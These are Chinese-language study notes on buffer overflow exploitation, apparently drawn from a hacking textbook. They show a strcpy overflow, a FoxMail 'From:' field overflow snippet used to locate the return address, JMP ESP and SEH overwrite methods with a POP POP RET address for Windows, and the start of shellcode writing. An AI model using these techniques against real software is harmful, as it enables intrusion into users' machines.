缓冲区溢出学习
1、for(int i=0;i<8&&output[i];i++),老是报错
因为定义必须放在函数的开头
所以在开头int i;然后for(i=0;i<8&&output[i];i++)就行了
char name[]="abcdefghijklmnopqrstuvw";
int main()
{
int i;
char output[8];
strcpy(output,name);
数组的大小看lea eax, dword ptr [ebp-8]
数组8,ebp-8
也就是说看数组大小与ebp减去的那个值相等
看溢出点,要看ebp减去的那个值(就是8),再加上4(因为程序开头push ebp,占了4个位置下面才是返回的地址EIP)
快速定位溢出位置
for(i=0; i<=0x104; i++)
buffer[i] = 'A' + i % 10;
sprintf (temp, "From: %s\r\n", buffer);
send (sock, temp, strlen (temp), 0);
“我们进入邮箱,把原来的信删除;再执行FoxMail2.c,给邮箱发封新信。这次用FoxMail接收时出现的报错框成了‘Access violation at address 4A494847,Read of address 4A494847’, 如图1-25所示。”
“OK,我们记录下这个数字,看来这次是0x4A494847覆盖了返回点。再在FoxMail13.c中把 buffer[i] = 'A' + i % 10 的取余数改为整除。”
for(i=0; i<=0x104; i++)
buffer[i] = 'A' + i / 10;
sprintf (temp, "From: %s\r\n", buffer);
“再次删除信件,执行FoxMail3.c。用FoxMail接收,这次出现的错误框成了‘Access violation at address 5A5A5A5A,Read of address 5A5A5A5A’,如图1-26。”
“第一次用FoxMail2.c,是在‘From:’字段不停的加上AJ的循环(就是十六进制0x410x4A这十个数的循环)。”
“第二次用FoxMail3.c,是以10为一段长度,每段分别为0x41、0x42……来填充‘From:’。”
“注意了,第一次溢出时报错的最小值是0x47,此时只有0x41~0x4A在不断循环,所以我们可大胆推出尾数是0x47-0x41=6。”
“在第二次溢出时报错的全部是0x5A,而此时是从0x41开始,每10个数为一段。所以0x5A-0x41=0x19,就是十进制的25,即在字符串的第25个段。”
“所以我们可大胆计算出程序的返回点位置是: (0x5A-0x41)×10+(0x47-0x41)=25×10+6=256 ”
“哇!这样啊!”大家一片欢呼!
JMP /CALL EBX——另一种溢出利用方式
Windows 2000系统的知识——就是在判断是否使用现在指向的异常处理程序时,EBX会自动变为下一处理点的地址,这样可以把异常处理地址连接起来,形成一个异常处理串”。
小结:两种方法使用的时机
“大家都看到了,异常处理点比返回点要远很多。所以,如果程序还是有长度限制不能覆盖到异常处理点,但可以覆盖到返回地址时,那就只能用JMP ESP覆盖EIP了。”
- JMP ESP:覆盖不到异常处理点时,比如FoxMail作了0x200限制。
- JMP/CALL EBX:在返回前就有异常时,只能用这种方法。
另外,在XP下发生异常时,EBX不再指向下一处理链表,而改成了堆栈中的第三个值指向下一处理链表。所以,要使用pop pop ret在内存中的地址覆盖异常处理点,而通用地址就是0x7ffa1571。
怎么知道JMP ESP指令的机器码是FF E4呢?
A:即可以用查询工具得到,也可以在VC中用“__asm{}”嵌入汇编JMP ESP,再按F10进入调试,然后调出JMP ESP代码对应的机器码。
Q: 覆盖异常处理点时,我用的就是CALL EBX指令地址,为什么会失败?
58/349
A: 在Windows 2000下,可以用CALL EBX指令地址覆盖;但在XP下,EBX会变为0,需要用POP POP RET的指令地址来覆盖。这也有个中文版NT/Win2000/Win2003都通用的地址——0x7FFA1571。我们将在ShellCode变形一章的MDTM漏洞利用讲解时详细讲到。
7FFA1571 58 pop eax
7FFA1572 BF 58C058C2 mov edi, C258C058
7FFA1577 58 pop eax
7FFA1578 C3 retn
Q:奇怪,在“name”数组比较短的时候,测试会报错;但我按照格式覆盖并加上ShellCode后,结果不但没弹出窗口,连错误也不报了,这是怎么回事啊?(这个问题我就遇到了~~~55555)
A: 是用的覆盖地址不对。而没有报错,是因为你覆盖的字符串太长了,把异常处理点也覆盖了,当然报错对话框也弹不出来了。
编写shellcode
HMODULE LoadLibrary(
LPCTSTR lpFileName // file name of module
);
LoadLibrary函数将指定的可执行模块映射到调用进程的地址空间。
FARPROC GetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // function name
);
GetProcAddress函数检索一个导出的函数或变量的地址从指定的动态链接库
HINSTANCE libHandle;
MYPROC myPROC;
libHandle=LoadLibrary("kernel32.dll");
printf("The address of kernel32.dll is \\x%x\n",libHandle);
myPROC=(MYPROC)GetProcAddress(libHandle,"system");
printf("The address of %s function is \\x%x\n","system",myPROC);
ShellCode的功能很多,常见的一些是开一个本地端口、反连攻击机、下载一个文件并执行、传输一个文件并执行等